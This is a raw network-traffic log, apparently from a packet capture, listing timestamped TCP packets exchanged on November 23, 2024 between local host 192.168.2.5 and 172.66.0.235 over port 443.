Nov 23, 2024 13:38:03.756326914 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.756360054 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.756371021 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.756416082 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.756799936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.759017944 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.759854078 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.759897947 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.759938002 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.759954929 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.759979010 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.760015011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.783698082 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.933295012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.933350086 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.933397055 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.933418989 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.933469057 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.933469057 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.935087919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.935136080 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.935157061 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.935178995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.935209990 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.935246944 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.937473059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.937520027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.937558889 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.937576056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.937606096 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.937628031 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.939987898 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.940028906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.940057993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.940071106 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.940099001 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.940119028 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.941808939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.941849947 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.941878080 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.941889048 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.941915035 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.941931963 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.944152117 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.944191933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.944221020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.944232941 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.944262028 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.944278955 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.945125103 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.946283102 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.946327925 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.946348906 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.946360111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.946391106 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.946409941 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.948765039 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.948823929 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.948832035 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.948852062 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.948889017 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.948911905 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.956120968 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.125209093 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.125260115 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.125293970 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.125340939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.125369072 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.125390053 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.127088070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.127135038 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.127161980 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.127175093 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.127202988 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.127223015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.129317999 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.129379988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.129412889 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.129425049 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.129451036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.129475117 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.131797075 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.131840944 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.131863117 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.131875038 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.131903887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.131938934 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.133603096 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.133646965 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.133671999 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.133682966 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.133708000 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.133724928 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.135943890 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.136009932 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.136014938 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.136037111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.136075020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.136096001 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.137403965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.138086081 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.138129950 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.138151884 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.138164043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.138190985 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.138214111 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.140600920 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.140650988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.140674114 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.140717030 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.140746117 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.140779018 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.144273043 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.320393085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.320450068 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.320631981 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.320631981 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.320688009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.320746899 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.322758913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.322802067 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.322829962 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.322844982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.322901011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.322901011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.324647903 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.324691057 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.324738979 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.324752092 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.324778080 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.324814081 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.326947927 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.326987982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.327028036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.327039957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.327069044 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.327106953 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.329433918 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.329477072 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.329514027 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.329526901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.329554081 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.329580069 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.331516981 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.331561089 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.331600904 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.331612110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.331641912 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.331675053 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.333374023 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.333417892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.333448887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.333460093 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.333487034 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.333507061 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.333627939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.335686922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.335736990 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.335755110 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.335767984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.335809946 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.335827112 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.394833088 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.512322903 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.512386084 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.512432098 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.512451887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.512484074 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.512502909 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.514564991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.514626980 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.514641047 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.514653921 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.514684916 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.514708996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.516971111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.517014027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.517064095 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.517081022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.517107964 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.517153978 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.518779039 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.518825054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.518857002 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.518874884 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.518903971 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.518920898 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.521110058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.521155119 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.521186113 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.521198988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.521224976 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.521245956 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.523662090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.523715973 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.523740053 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.523753881 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.523782969 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.523803949 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.524458885 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.525760889 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.525809050 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.525829077 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.525840998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.525871992 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.525888920 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.527564049 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.527621984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.527645111 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.527657032 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.527683973 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.527703047 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.559221029 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.704581022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.704653025 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.704669952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.704689980 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.704741955 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.704761028 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.706372976 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.706418991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.706440926 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.706453085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.706480980 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.706496954 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.708677053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.708728075 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.708749056 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.708760977 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.708792925 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.708832979 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.711091995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.711142063 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.711174011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.711184978 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.711210966 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.711226940 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.713638067 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.713685989 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.713716984 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.713727951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.713758945 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.713782072 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.715213060 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.715265036 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.715296030 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.715306997 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.715349913 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.715395927 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.717365980 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.717384100 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.717423916 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.717441082 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.717452049 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.717483044 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.717503071 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.719830036 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.719882011 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.719902992 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.719913960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.719957113 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.719974995 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.732595921 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.896250963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.896317005 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.896384001 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.896415949 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.896446943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.896469116 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.898008108 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.898056984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.898083925 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.898098946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.898123980 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.898140907 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.900336027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.900393009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.900424004 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.900435925 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.900469065 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.900489092 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.902837992 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.902884007 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.902909994 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.902921915 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.902950048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.902970076 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.904642105 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.904687881 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.904723883 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.904736042 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.904761076 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.904798031 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.906981945 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.907035112 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.907063007 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.907073975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.907099962 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.907119036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.909020901 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.909317017 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.909369946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.909396887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.909409046 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.909434080 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.909454107 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.911617041 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.911669970 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.911699057 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.911710024 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:04.911740065 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.911761045 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:04.946223974 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.088474989 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.088542938 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.090049982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.090102911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.090435028 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.090465069 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.092454910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.092518091 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.092529058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.092545986 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.092592955 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.094965935 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.095016003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.095036030 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.095048904 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.095082045 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.096750975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.096800089 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.096832991 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.096846104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.096874952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.099230051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.099277973 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.099301100 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.099329948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.099361897 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.101383924 CET	443	49704	172.66.0.235	192.168.2.5
